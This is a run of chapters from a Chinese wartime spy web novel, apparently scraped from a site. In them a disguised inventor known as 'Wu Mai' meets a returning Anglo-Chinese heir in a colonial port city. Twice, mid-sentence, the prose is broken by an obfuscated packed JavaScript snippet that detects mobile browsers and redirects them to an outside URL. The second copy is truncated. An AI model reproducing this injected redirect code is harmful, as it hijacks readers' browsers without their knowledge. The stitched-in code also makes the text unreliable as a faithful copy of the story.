这五年里,她与专家大半时间都过着与世隔绝的科研生活,虽然知道外面的战况,却也只知大概情形,不知道其中细节与全貌,如今元之荞再管四组,这才开始一点点厘清当下形势。 三年前,战争扩展到了全世界,而世界战役也立即打响,原本到处做着战争生意的丑国,如今也加入了世界反海希联盟,不再将武器卖与海国,而是把武器卖给对抗海国的自卫战国家。 除了本土,海外也在开战,其中就有钟以墨所在的英国,而最近,英国的盟友国之一投降,战争估计很快就会蔓延上英国。 国内,白鸽与调查科、66号对抗,其中潜伏三巨头中的杜盛云为了保护白鸽,销毁了66查到的重要信息,并且联合姜昔莹杀掉了关键人物。做了这些事,杜盛云注定会暴露自己白鸽的身份,于是他给付勇思和席明荣疾速发出预警,带着家眷连夜逃往根据地了。 付勇思和席明荣现在是军阀高层,轻易不会出事,但若要出事,他们的下场会比66号处决的背叛者更惨。 果然,66号发现消息泄露,眼见抓到白鸽高层的机会就这样断送,他们怎会善罢甘休,于是当即找到段公,添油加醋地一顿禀报,然后拿到了仅次于段公的最高领导权。 66号用着份权利抓人,很快就查到了杜盛云,这时他们才发现,杜盛云早就打着出差的名义,消失了。抓不到机要秘书,66号就抓上了一脸懵逼的刘冬,而刘冬这时才清楚,他的亲亲好秘书,他的忠胆心腹,竟是新军一早潜伏进来白鸽! 刘冬如遭雷击,不知是装病躲过66的审查定罪,还是真的大病一场,刘冬第二天就躺在了床上,没能起来。 刘冬就算不被处决,也会被革职,而当初被杜盛云举荐的人如今也被66号盯上,尤其是付勇思。 好兄弟中的席明荣是靠着实力“考进”军阀的,且席明荣最近五年在暗中培养接班人,并未与付勇思、杜盛云二人来往,嫌疑自然放轻,再加上席明荣的妻子是“坚定”的党国干城,66号没有查到实际证据,不可轻易出手,于是就暂时放过了席明荣。 但付勇思就没那么简单了,虽然付勇思早就有所准备,勉强应付 117. 第 117 章 孙长鉴在床边照顾妻子贾祖惠,贾夫人风风火火的一个老太太,来到英国后却水土不服,不是这里吃不下,就是那里不习惯。眼见贾夫人的精神一天天变得萎靡,钟以墨急忙求了外祖,买下一个小庄园给二老居住。 为了自在,钟以墨特地强调不要侍女或仆从。一个月后,这个英国庄园成了乡村农院,贾夫人不仅在前后左右都种上了菜,还造了一个露天灶台。 有了这些熟悉的事情,她又变回了那个爱说爱笑的老太太,也逐渐习惯了这里的生活,只是偶尔,她也会想家,想那个听见枪声就胆战心惊的家。 前段时间贾祖惠摔了一跤,身子一下就变得不好了,孙长鉴看过,问题还是年纪大了。生老病死皆是自然规律,即使他是医生也无法阻止。 贾祖惠卧病在床后,下床活动的时间变少,于是她常坐在椅子上,戴着老花眼镜,翻着从国内拿来的几本书,或者拜托孙长鉴给她点唱片机,放那些托人买来的黄梅戏曲。 书看了一遍又一遍,曲听了一天又一天,钟以墨知道,奶奶这是想家了,其实他也知道,想家的,不止爷爷奶奶。 “以墨啊,你说啥?”贾夫人听见声音,坐起了身子。 钟以墨大步走进房门,笑着看向二老,又重复了一遍,“奶奶爷爷,我们回国吧。” “以墨……”孙长鉴扶了扶眼睛,他如今有些耳背,很多时候都需要看别人的嘴型,才能知道对方说了些什么,“可是现在回国的话,你的事情……还有诺兰实验室那边,会让你离开吗?”孙长鉴顾忌着妻子,没把话说全,但钟以墨知道孙长鉴在担心什么。 “这些事情我来操心就好,爷爷不要多想,”钟以墨弯下腰,替孙长鉴给贾祖惠摆拖鞋,“而且您考虑的这些,我早就在做准备了。如今外祖他们即将离开英国,我恰好可以借这次机会,护送你们回国。” “可是……” “爷爷,”钟以墨起身,打断了孙长鉴的话,“我很小就知道爸爸拜托您的请求,”他笑了笑,深咖色的眼睛奕奕看向二老,带着温和,“我早就成年,您早就不必陪着我在这异国他乡。” 孙长鉴嘴唇蠕动,像是要说什么,钟以墨却马上转身,走向衣柜,继续道:“您和奶奶先回去,等我把这边的事情做完……”他拿下柜顶上的空置行李箱,声音一下变得很轻,像是在对自己言语,“等以后的情况不再需要我……” 钟以墨掸去箱子上的灰,将箱子提到二老身边,再次换上了笑颜,“然后我也就回去了,放心吧,到时候咱们也能团聚,就像现在这样。” “好,”一听回国,并且不是与钟以墨分别,罗祖惠面上顿时冒出喜悦,握住钟以墨的手,连着一个劲地说好,也不顾腰酸背痛,当即就要下床去收拾行李,只有孙长鉴看着钟以墨,眼中千愁万绪,却始终没有说出口来。 国内。 随着杜盛云的出逃、付勇思的假死脱身,军阀内部引起了不小的震荡,同时,新的潜伏三巨头已做好准备,他们将于另一个层面接替杜盛云三人,然后再次暗中把握军阀的大动脉。 付勇思回到了根据地,而杜盛云则因拥有良好的外语基础,被派遣到了洋人地区,依旧做着情报工作。 军阀在外追查的杜盛云的人很多,其中最积极的当属66号的狄昇。之前狄昇在刘冬手下,没能得到高官厚禄,如今来到66号,他也算是发挥了所长。如今刘冬遭殃,狄昇怎会放过这绝佳机会,他不仅在“机要秘书泄密”一事上出力,踩着刘冬坐上了二处副处的职位,还在上面讨论对刘冬的处罚时,直接提出了绞刑。 看着送来的“批准”字样文件,狄昇扯扯嘴角,露出了一个清浅冷笑,他将文件扔回桌面,大喇喇地靠向椅背。死了一个刘冬,还剩一个杜盛云,当初的仇,他会一个一个地报。 随着军阀一起震荡的,还有海国军。 海国军发动空袭时,天-8号迅速支援前线第十团,海国出动的轰炸机陆续失去信号,像个无头苍蝇似地乱飞,不断呼叫中控台。此时有飞行员发现,除非他低飞进行手控投弹,否则将压根无法命中新军。 “巫术,这简直是巫术……” 另一头的天-8号飞行员,他按照之前学习的操作,顺利从耳机里同步听到了海国语。他监听的,正是海国飞行中央控制台。天-8的信号比海国轰炸机强,那边还在电流作响的时候,我军这边已经把指令听完了。 海国军轰炸机飞行员:“滋滋……不清,请塔台重复……重复……完毕……” 天-8号飞行员:“人家叫你全部往东滑行呢,嘛呀,小鬼子耳朵咋那么费劲……”飞行员切回己方中央控制台,字正腔圆,“地面指挥部,这里是天-8,003号飞行员,敌人收到指令,将全体往东纬滑行……” 很快,海国军那边不仅发现自己受到了干扰,还发现自己的行动犹如透明,无论他们要飞去哪里,新军那边的炮口,都会分毫不差地转向哪里。这种似曾相识的感觉让海国的中控台不寒而栗,他们当即意识到了不对,果断下令。 “都要打掉那架诡异的飞机,无论用什么手段!” 天-8需要装载多种电子设备,故而无法装载武器,面对威胁,它只能采用巡回的办法躲避,然后快速呼叫己方轰炸机援助。 新军在研究天-8时,也在研制自己的轰炸机,但由于客观条件的限制,轰炸机的数量并不多,然而有天-8的帮忙,新军第一次在天空战场上以少胜多,取得了压倒性的胜利。 空战结束,通常马上就会进陆军,而天-8在空中侦查时发现了海国军的驻扎位置,于是提前将这一信息输送至地面。所以还在空战时,第十团就潜入了侧方,突如其来地包抄了敌军,同样取得了胜利。 这一次的奇袭大捷振奋了新军,也标志着新军十二年来的自卫反击战,将从相持阶段,正式进入战略反攻阶段。 兴奋的只有新军和百姓,其他势力却不约而同地惊恐了起来,尤其是军阀和海国军。直到这个时候,海国才知原来那些先进的信号干扰与隐身技术,竟然都出自新军。 他们什么时候有了那么厉害的人?找,把详细信息都给我找出来,否则通通切腹! 与海国军一样瞳孔地震的还有军阀,明明两军仍在合作,新军有这样高端的机械却全程瞒着他们,这不是在留后手是在干什么?段公感觉到了威胁,火速下令。 查,把那个研制的专家给我查出来,否则通通撤职! 海国探子和66号协作,没过多久就知道了设备技术来自乌麦,而这个乌麦,恰好是之前做系列军粮的“科研厨子”。 海国军气炸了,66号也气炸了。 而隼一直以来对乌麦的保护,又加上近几年乌麦的“消失”,所以海国探子和66号都查不到乌麦的真实长相与实际信息,只知道她在十年前是个小女孩。但在这个战争年代,寻常人家的孩子通常都会因为营养不良而发育迟缓,当时看起来是个五六岁的小孩,有可能已经八九岁,故而他们推断乌麦现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928125|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的年龄,应该在十七岁到二十五岁之间。 除了年龄,他们手上还有一些零零散散的消息,例如乌麦的口音来自陵省或者安省,会说英语,所以应该上过洋人女子学校,出身富裕。 66号那边抓来的白鸽透露,乌麦任职白鸽,并且在白鸽建立之初就是组长。 但组长这一消息,有人相信也有人不信,且更多的人还是持怀疑的态度,就和传言乌麦是一个千岁老道人一样。毕竟白鸽建立那会,乌麦最大也不会超过十岁,新军要是敢给一个小孩领导四组,铁定不会有现在的白鸽,段公也就不需要头疼,暗中再搞出一个66号了。 不过相信的人也不少,毕竟他们认为,能制作出吓坏海国鬼子与洋鬼子器械的乌麦,必定从小就惊才绝艳,且新军一向慧眼识兵,让乌麦当组长简直合理,再说了,指不定就是乌麦当组长,才了现在的白鸽。 一时间,“乌麦吹”与“乌麦黑”同时活跃在各个阶层,各国各方势力混杂其中,也在用自己的办法,想要找到更多与乌麦相关的消息,而白鸽暗线及时放出各种消息与假料,全程真中掺假假假,全面混淆各方视听,甘当“搅屎棍”。 随着众说纷纭的,还有各式各样的悬赏与刺杀,当然,目标皆是还不知道身在何处的乌麦。 华常委为了保护元之荞,只好将元之荞单独分了出去,让她另建一只更为隐秘的情报组织。李成、杨黛两人,因为近年来已经熟悉了四组的工作,于是他们从代组长,正式变为了组长,但级别上他们依旧属于元之荞的下属。 元之荞给新组织取名白榆,白鸽喻和平,是和平保卫的暗线。《玉台新咏》将白榆比作星星,元之荞取名白榆,希望组织能像星星,不仅守护漫长的黑夜,也予人方向的指引。 从白鸽离开后,元之荞出门都会乔装打扮,连假名都用了几十个,就与当初的华常委一样。蒲城查得严,除了军阀,洋人和海国军也在找寻找乌麦,街上随便一个年龄符合的人,无论是男是女,巡捕看见了都会拦下盘问一番。 一开始元之荞还能靠着装扮躲过,但到后面她扮成跛脚老嫂子,也会被巡捕房的人做业绩而当面阻拦,元之荞无法,只好在家研究了半天,然后用剩下半天,将自己乌黑的长发/漂成了浅金色。 梁桦看着惊奇,元善也是盯着元之荞,元知宁更是有样学样,想把头发染成绿的。 元善忽而就是一气,“染什么染,《汤头歌诀》、《药性赋》这些都背下来了吗?别给你姐姐添乱。” 元之荞摸着元知宁的肩,让他去帮自己拿毛巾,打发了二人即将出现的不愉快。元知宁今年十三岁,恰是有些叛逆的年纪,虽然不明显,元知宁也会时不时与大人反着来,算是她们这几个孩子中最吵的一个。 处理好了头发,元之荞开始试妆,可技术与工具虽然能改变外貌,让元之荞更像洋人,但瞳孔的颜色却难以改变,元之荞看着镜子前的自己,决定多买几副墨镜。 第二天,元之荞用着新形象和一口流利纯正的洋文,顺利注册了洋人的对外贸易公司,还靠着之前在白鸽查到的消息胡诌,竟和一个英国商人攀上了远亲,顺利挂靠在了英人公司下面。 从注册公司离开,元之荞决定好了白榆第一阶段的工作目标。 她们会成为新军物资的主力,继天-8号、东-2号后,新军将拥有更多型号的战斗武器,除此之外,白榆还会成为白鸽隐藏最深的影子。 另一边,钟以墨带着孙长鉴和贾祖惠抵达了蒲城。 118. 第 118 章 三人回到原住所,发现门被炮轰掉了一半,不仅家具全被搬走,就连玻璃窗也被小偷卸了大半,整个家只剩下光秃秃的躯壳。贾祖惠有些难过:“老头子,看来我们不能住了。” “没事奶奶,”钟以墨把行李接过来,“咱们先住大饭店,您喜欢这样的房子,我去帮您找找类似的。” “哎呀你这老太太,别麻烦以墨,”孙长鉴扶住贾祖惠,“这种时候还住什么老房子?”他看向钟以墨,给出定论,“住租界!以墨你找个离医院近点的地,你奶奶胖,她要是摔了,我可背不动她走。” 贾祖惠听见这话,蜷起手,当即锤了孙长鉴一下:“我还怕你摔倒了咯,我也扯不动你胳膊,没法拖你出去叫人。” “好,”钟以墨笑起来,及时打断贾祖惠的抱怨,“那我先去趟英领事馆,然后再去找安全又靠近医院的小楼。” “以墨呐,”贾祖惠缓缓跟在后面,“你不和我们多住一会吗?” 钟以墨叫下一辆黄包车,把行李扛了上去,这才回答:“不了奶奶,我们离开英国不久,诺兰就给我发来了电报,说有一些事情需要我去处理。” 贾祖惠听了有些可惜,但她也不能干扰钟以墨的工作,于是叹了一口气,不再多说什么。 * 自从元之荞变成“斯密斯夫人”后,就再也没有巡捕敢拦下她盘问,毕竟军阀的巡捕房不敢对洋人检查,而洋人巡捕厅则不会对一个已婚女士感兴趣。 就算有人好奇突然做起材料生意的“斯密斯夫人”,但观察过后,发现她不过是喝喝咖啡,帮帮“丈夫”处理这边的联络,然后时不时回忆与丈夫的甜蜜日常,虽然说来说去就只有那一件事。 于是元之荞的嫌疑很快减轻,而那些被她美丽外表与不凡谈吐所吸引的洋商,也很快被她的“恋爱脑”祛魅,完全丧失了进一步接触的兴味。 元之荞就这样借着身份,自由出入了许多地方,前天还帮华常委离开蒲城,并在关键时刻拖住洋巡捕,顺利掩护了离开的白鸽。 然而凡事都有例外,那个元之荞拖住的洋巡捕,爱好恰好是已婚夫人,并且是有钱的已婚夫人。 这天,元之荞准备去咖啡店拿华常委给她东西,然后在门口遇上了等待她的洋巡捕。 “美丽的夫人,来这里喝咖啡吗?”洋巡捕生得高大威猛,短方的下巴布满金棕色的胡茬,他没有穿制服,所以元之荞压根没认出对方是谁。 元之荞的双眼在墨镜后上下扫视,最后定格在洋巡捕脸上,她伸出戴有戒指的无名指,故意撩拨着鬓边的头发,将戒指显露在洋巡捕眼前:“不好意思先生,最近我有些睡眠失调,记性不是太好……所以您是?” “哈哈……”洋巡捕显然误会了元之荞动作的意图,他挑挑浓眉,向前倾身,使自己更靠近元之荞,高耸的眉骨遮住了日光,在他眼下投上一片深邃的阴影,像是拥有了元之荞的同款“墨镜”。 “我是鲁卡下士,夫人,我们前天才见过。”他同样伸出手,不过不是撩头发,而是挂住了衣领,然后稍稍用力往下拉了拉,露出一片金黄且浓密的胸毛,似乎想展示他浓烈的男子气概。 我这样的身体,可不知迷倒了多少少妇。 但元之荞藏在墨镜下的眉头却皱了起来,觉得有些不适。 鲁卡很满意这样目不转睛盯着他看的斯密斯夫人,他往前走了一步,弯下身,试图用热烈的香水包裹住面前这位娇俏的女士:“夫人,既然睡眠不好就不要喝咖啡了,我请你喝一杯鸡尾酒怎么样?” 元之荞后退半步:“哦~我丈夫是伊斯教,所以我们不喝酒。” 听到这话鲁卡有些扫兴,但看着元之荞的脸,他很快又燃起了斗志,换了更暧昧的语气:“不喝酒的话,不如我邀请夫人晚上和我散步?毕竟运动一下也有助于睡眠,不知夫人有没有去过佩美港口?那边夜里的风景美极了。” 元之荞心里哼笑一声,美个屁,两边全是旅馆和大饭店,这洋鬼子在打什么主意,简直一目了然。 * “先生,这是您的船票。”应侍生恭恭敬敬地将一个信封递上,正在看报的钟以墨放下报纸,接过信封,检查里面的船票无误后,准备给应侍生小费,这时,他听见了外面难听的歌声。 钟以墨顺着声音看去,只见店门旁有个穿蓝衬衫的白人男子正在唱歌,一边唱一边试图邀请面前的金发女子共舞。 应侍生随钟以墨的视线看去,同样看到了鲁卡,他有些嫌弃地撇嘴:“又是他。” 听见这话,钟以墨扭头看向应侍生,而钟以墨未说话,应侍生却以为钟以墨是在询问,于是主动解释:“那人叫鲁卡,本是我们店里的应侍,不过后来被巡捕局招聘了,鲁卡之前是做这个的,”应侍生做了一个“情人”的手势,继续说,“现在也没变,依旧喜欢搭讪貌美又有钱的夫人,”应侍生笑着收下钟以墨的小费,见数量不少,顿时说得更起劲了,“就是可怜了那些夫人,以为自己遇上的是个浪漫贴心的爱人,殊不知最后都是被骗钱骗身。” 应侍生看向窗外,此时元之荞已经答应了鲁卡的邀请,两人有些荒诞又有些浪漫地在街边跳舞,应侍生口中有些酸:“真不知道那家伙到底哪来的魅力,竟能时刻有女人调情。” 钟以墨的目光瞟向黑色裙子的身影,调情?他放下咖啡,杯底磕向瓷盘,发出清脆的声响。 他的嘴角翘起一丝趣味,明明是争执才对。 * “啊啊!我的上帝!斯密斯夫人,你!” 元之荞飞速又踩了鲁卡一脚,这才语带愧疚,“哎呀,鲁卡先生你没事吧?我都说自己不会跳舞了,你没受伤吧?” 此时的鲁卡已经很生气了,他疼得说不出话来。短短两分钟,自己竟然被高跟鞋踩了足足八次,并且最后一次,斯密斯夫人尖细的鞋跟竟直接扎进了他的皮鞋,他感觉自己指骨都要碎了。 元之荞居高临下地看着这个屈膝抱脚的大块头,墨镜下神色冷淡,说出的话却充满感情:“鲁卡先生你没事吧?要不要去趟医院?真是太抱歉了,我这就帮你叫车。” 元之荞说完就走,看样子是要去拦黄包车,实际上她准备转角就溜。 “等……等一下……”鲁卡一瘸一拐地追上元之荞,“斯密斯夫人,这点小伤不算什么,要是真的愧疚,不如让我见一见你美丽的面容?”鲁卡露出一个阳刚的笑容,但这个笑容因疼痛多少变得有些扭曲,“毕竟你的美丽能够治愈我一切的伤痛。” 鲁卡说完就快步走近,并且伸出了手,似乎是想趁机摘掉元之荞的墨镜。 元之荞眉头骤紧,后退一步,并下意识扶住了墨镜,她有些厌恶地看着面前的男人,看来不给他点狠的,这人是不会清醒了。元之荞把无名指上的戒指快速转向掌心,悄然做好了准备:“鲁卡先生,强迫一位淑女可不是绅士作为。” 就在鲁卡即将靠近元之荞,元之荞也准备给一巴掌喊非礼的时候,一只修长的伸了过来,径直横杠在元之荞与鲁卡之间。 钟以墨:“这位先生,纠缠一位淑女可不是绅士所为。” 元之荞看 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而鲁卡听到Mike,立刻就浇灭了气势,并且克伦威尔这个姓氏他也听过,他们这种缺人时才顶上去的陆战兵,运输用的军用船舰,以及空战队的轰炸机,皆来自于克伦威尔家族。 鲁卡忌惮似地看了一眼钟以墨,随后又看向钟以墨身后的元之荞,男人如果真是克伦威尔,那他和斯密斯是什么关系?鲁卡故意用了更亲密的语句,直称斯密斯夫人的名:“Cecilia,这位克伦威尔先生是怎么回事?我们不是约好了晚上共进晚餐?” 钟以墨侧身,也看向元之荞,但他问的是别的事情,“这位小姐,原来你喜欢这位男士?” “克伦威尔先生,你在说什么胡话?”元之荞果断否决,她看着鲁卡,毫不掩饰地露出了嫌恶,“我可不喜欢这种类型的男人,而且我也没答应他要一起吃晚餐。” 钟以墨轻挑眉尾,“喏,鲁卡先生,你也看到了,再纠缠的话,我可要质疑Mike上尉管理部下的能力了。” 鲁卡有些尴尬,但他却不想轻易放弃,毕竟这是关乎男人魅力的问题,鲁卡深情款款地望着元之荞,装作可怜的模样:“哦~Cecilia你这样说,真是太令我伤心了。” 元之荞不想和鲁卡废话,直接看向了钟以墨,准备找他当挡箭牌,“克伦威尔先生,介意我请你喝一杯咖啡吗?” 钟以墨看着元之荞,猜到了她的意图,于是极轻地笑了一下,“是我的荣幸,小姐。” 佳人已有约,鲁卡不得不悻悻离开,钟以墨拉过咖啡馆的门,元之荞对他礼貌一笑,款款走进店中。她莫名觉得现在的情况有些似曾相识,但没等元之荞仔细回想,钟以墨带她走到了自己原本的桌子,绅士地拉开了座椅。 两人面对面坐下,元之荞依旧戴着墨镜,钟以墨招呼应侍生,让其拿来了餐单。 他静静地打量着她。 她有一头金色的披肩长发,带着一顶小巧的黑色羽毛帽,面上一副大墨镜,遮盖了她的小半张脸,可露出的五官鼻梁秀挺,嘴唇精致,想必墨镜后的眉眼也依旧美丽,他有些知道为什么鲁卡执着于摘下她的眼镜了。 元之荞点完了餐,同样看向钟以墨,借着墨镜的遮掩,她也在观察着他。 他有着一副混血长相,肤色偏白,睫毛卷长,一对清褐的眼珠像是干净透彻的玻璃,泛着琉光,认真看人时能轻而易举地让对方心软,笑起来时很好看,让她莫名有些熟悉。 元之荞:“克伦威尔先生?恕我冒犯,是英国船舰制造的那个克伦威尔吗?” 钟以墨眸中闪过一丝惊愕,他微微偏头,笑着回答:“是,小姐见过我?” 119. 第 119 章 “没有,”元之荞否认,“只是我觉得,克伦威尔先生很像我的一个朋友。” “叫我利亚姆就好,”钟以墨笑笑,将桌面上摊开的报纸放到一边,“不知小姐名讳?” “Smith·Cecilia.”元之荞注意到钟以墨手边的报纸,“你看得懂国文?” “不多,只有一点,”钟以墨半真半假,“小时候在这生活过一段时间。” 元之荞的眼神一下变得锐利,她仗着墨镜遮掩,开始审视钟以墨。她知晓进门时突如其来的熟悉感是什么了——钟以墨再见唐曦时,也是用这样的方式逼退了纠缠唐曦的混混。 元之荞越看越觉得面前之人熟悉,利亚姆除了性格与书中描写的钟墨有些不同,他的长相完全符合钟墨的描写。 答案简直要呼之欲出,元之荞这时却不敢确定利亚姆就是“钟墨”了,毕竟克伦威尔家族庞大,万一旁支中也有混血…… “斯密斯小姐怎么这么看着我?”即使看不清元之荞的神情,钟以墨还是敏锐地察觉到了元之荞的扫视的眼光。 应侍生端来咖啡与甜品,适时打断了二人。 元之荞谢过应侍生,稍微调整了状态:“不过是好奇而已,利亚姆既然在这住过一段时间,也学过一些国文,那你一定有国名吧?”元之荞不甚在意地发问,“不知你的国名是什么?” 听到这话,钟以墨心里闪过一丝警惕:“斯密斯小姐怎么会问这个?” 元之荞拿起瓷盘上小巧的银匙,轻轻放入杯中,玫瑰样式的拉花被她缓缓搅成一团碎云,悄然融入咖啡里:“不是说了吗?好奇而已,而且我觉得他们的国名很好听,便也给自己取了一个。”搅拌完,元之荞将银匙放回手边瓷盘,抿了一口。 好苦。 杯子被重新置于杯垫,元之荞抬眸,发现钟以墨在看着自己,似乎是在等待她的下文,元之荞笑了笑,给出他想要的回复:“尤美丽。” 有魅力? 钟以墨唇角扬起,清浅的笑变为了低笑,好一会,他才带着笑颜看向元之荞,目光晏晏,夸赞道:“很符合。” 元之荞不知道钟以墨在笑什么,明明自己模仿的洋人发音很典型,不会有人看出端倪,莫非是口音问题,钟以墨没听明白? 钟以墨修长的手指勾上杯耳,他看向杯中漾起涟漪的黑咖啡,指尖无意识地摩挲杯壁,这才回答元之荞之前的提问,他声音轻柔缓和,带着不易察觉的怀念,像是透过这个名字,提起了另一个人,“以墨。” “尹默?” 元之荞重复得又快又大声,身子也不自主地前倾,想要听清钟以墨的发音。 音调明显不对,钟以墨张了张嘴,想要纠正元之荞的发音,但下一秒,他又觉得外国人能说到这份上已经很不错了,没必要锱铢必较,于是颔了颔首:“对。” 元之荞皱眉,顿感一阵失望,看来对方不是钟墨啊,姓都不对,所以可能真是旁支?元之荞贝齿关合,心中仍有些不甘,追问道:“不姓钟?” “不姓钟。”钟以墨笑着,给出了肯定的答复。 听到接二连三的否定,元之荞的身体终于泄气似地靠回椅背,最后端详了钟以墨一眼,心中思索。 外国人的发音就是不标准,说不定她听的不是“尹默”,而是“尹沫”。毕竟利亚姆这样的外貌与配置,无论谁来看,应该都是配角或者主角。 元之荞想起朋友给她看的另一本三角虐恋,不过时间太久,她已经有些记不清了,里面的主角好像叫尹沫?还是尹夏沫来着?元之荞双瞳放空,既然自己能穿来这个书中世界,或许书中世界的人也能穿去别的世界? 这样想来,面前这个利亚姆给自己取名尹沫,而自己给自己取名元之荞,然后自己穿了,所以利亚姆就是那本虐恋的主角,不过是还没来得及穿…… “斯密斯小姐,”钟以墨打断了元之荞的天马行空,“不知能够告知,我哪里像你的朋友?”他看向元之荞的墨镜,似乎想透过黑色的镜片,看清她在镜片下的容貌与神情。 元之荞重新坐正身子,像淑女一般,优雅地撕开了一小包白砂糖,然后将其全部倒进了杯中:“眼睛,”银匙与杯壁碰撞出叮铃的乐声,似乎让元之荞想起了什么高兴的事,她补充道,“你们的眼睛很像。” 一样的澄澈干净,一样的只看一眼,便会让人挪不开目光。 “眼睛……”钟以墨喃喃自语,忽而被元之荞黑色蕾丝手套上的光蜇了一下,这才注意到,原来元之荞的无名指上戴着戒指。 戒指反戴,钻石那边被元之荞遮在了掌心。如此戴法,要么是她不想别人注意到已婚身份,要么是她想利用钻石的切割面与硬度,用作出手时伤人的暗器。 钟以墨移开视线,看向元之荞的脸,倏地想起了应侍生说过的话。 [鲁卡专门做贵夫人的情人,陪她们喝酒跳舞、暖床解闷……但不是每个夫人都性格温和,上次来,鲁卡的脖子就好大一条血痕] 他低头,端起有些凉的咖啡,也抿了一口。这位夫人,应该就是鲁卡看走眼那种类型吧。 他放下咖啡,将甜品推了过去:“斯密斯夫人,这份下午茶由我请你吧。”他起身欲结账,却被元之荞当即拦下。 “利亚姆帮我解了围,作为答谢,应该由我买单才对。”元之荞注意到他对自己称呼的变化,但元之荞毫不介意,将戒指冉冉拨正。她不想欠别人人情,或意外缠上瓜葛,毕竟斯密斯夫人是个限定形象,她可没有那么多时间用这个身份社交。 元之荞这话听在钟以墨耳里,却成了其他意思,钟以墨连忙撇清关系:“帮助遇到困难的女士,是每一个绅士的基本礼仪,夫人不必在意。” 元之荞笑了,透着真心实意。不在意好啊,她要的就是不在意。 “对了,利亚姆,能否询问你一件事?” “什么事?”看元之荞的表情应是对他没那种意思,钟以墨这才坐回了椅子。 元之荞:“你知道科莱丽夫人吗?她有一个儿子,几年前回了英国。” 钟以墨眸光霎时凛冽起来,他快速敛下眉宇,长睫遮盖眼中情绪,顿了顿,再度平静后,他抬眼,盯向元之荞。元之荞脸上的墨镜遮盖住她大半的神态,钟以墨看不清她问这话出自什么意图,于是展开桌上的报纸,用看报的姿态,也隐去了自己的大半张脸,回答道:“知道,但你说的儿子,我倒是没听过他的消息。” “为何?”元之荞追问。 “因为科莱丽夫人的孩子回英国后,就与他带过去的家人一起住到了外面,平时不怎么参加大家庭聚会,所以消息很少。” 元之荞端起杯子,浅浅抿了一口,这回好喝了。她试探性地询问:“那个儿子在克伦威尔家族,过得还不错吧?” “应该还不错。”钟以墨装若随意。 气氛沉默了下来,听元之荞不再询问,钟以墨反而起了兴趣,他微微放下报纸:“斯密斯夫人怎么突然问这个?” “因为我丈夫想要钟公馆,”元之荞给出早就想好的答案,“公馆如今正在竞拍,但丈夫却没那么多财产,所以我想能否联系上原主人。” 钟公馆从钟以墨离开后就一直有人想买,但那些想找钟家流动资金的人,认为钟以墨迟早会买下这栋洋楼,毕竟洋楼里还有很多钟家夫妇的东西,那个年幼的钟家少爷,不可能不会冲动。 只要抓到钟家少爷,他们就能知道剩下钱财的去向,于是每一个购买钟公馆的人,不是被盯上就是家破人亡,于是渐渐地,钟公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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作者乙某言之凿凿,他认为一切的成功,都可以用仙术说明。 老道人设坛做法,然后通过天眼咒术,顺利知道了敌军那边的行动,然后老道人控制幽魂传递信息,如此才能帮助第十团取得胜利。这种说法,是根据海国飞行员亲自认证的“巫术”之说,以及至今找不到神秘莫测的乌麦这一事实,二者结合推断而出。 毕竟所有的神话故事里,半仙都是隐匿于尘世,人们遍寻不得,而如今的乌麦也是如此。 最后作者乙某还大胆推测了“乌麦”这个名字的来由,他认为,千岁老道人实际上是荞麦成精,所以建议看到这里的读者,尽量多吃荞麦,说不定能沾到乌麦仙的一丝仙缘。 元之荞扶额,这种荒诞让她想起了当初自己给白鸽造势时,那个“白鸽都是武学奇才,三人行动击毙内奸,结果内奸死时只有眉心一个弹孔,皆因他们三人枪法极准,三颗子弹均从一个地方穿过,不偏不倚、分毫不差”的谣言。 当时她还呲着个大板牙笑呢,没想到自己有一天也遇上了同样的事。 最后一篇也是阴谋论,不过作者丁某认为乌麦已经被抓了,只不过抓到她的势力不想其他势力与自己抢人,这才放出各种各样奇怪且矛盾的消息,试图迷惑其他人。 元之荞还未看完,报纸唰地放下,对上了一双狐疑的眼睛:“斯密斯夫人也对乌麦感兴趣?” 钟以墨看着元之荞,之前他见元之荞沉着冷静地对鲁卡反击,并且每一步都不着痕迹,这让他想起了信里以及孙爷爷口中的元之荞,也是他选择出面帮助对方的原因。钟以墨早就从孙长鉴那里知道乌麦是元之荞,如今他看了报纸,同样迫切地想找乌麦,这样他才能确认她的安危。 现下看来,元之荞完全可能在外貌上进行伪装,而面前这人,年龄、行事以及性格,都与他认识的元之荞十分接近。 元之荞神色自如地看着钟以墨,墨镜下的红唇粲然一笑。 120. 第 120 章 “当然,”元之荞直言,“难道你不好奇?” 钟以墨对元之荞的直率有些惊奇,他试探性地问:“斯密斯夫人觉得,乌麦会是什么样的人?” “特殊的人。”元之荞实事求是,她拿起汤匙,勺了一小块焦糖布丁,枫色的糖浆悠悠滑落,随着嫩黄柔软的蛋体,颤巍巍地在瓷盘中晃动。元之荞的嘴角不自觉地翘起,好吃,下次还来。 她看向钟以墨:“你呢?你认为乌麦是什么样的人?” 钟以墨坐直身子,也更靠近元之荞,他安静地看着对方,“特殊的人。” 像是注意到了钟以墨的注视,元之荞放下叉子,也同样凝视钟以墨:“哦?怎么个特殊法?像报刊上说的,拥有东方神秘道术、在战场上迷惑对方?” “没想到斯密斯夫人会这样想,”钟以墨失声轻笑,“迷惑人心,该是传说中的海妖,而非乌麦,”他将手中报纸转了过去,推到元之荞面前,“我的想法与这位记者一样,认为乌麦是一位英雄,一位开创者。” 元之荞看向钟以墨指的地方,版面很小,挨着中缝,显然这份内容不受发行报社的重视。而元之荞浏览过后,也知道了它为什么被放在这里。 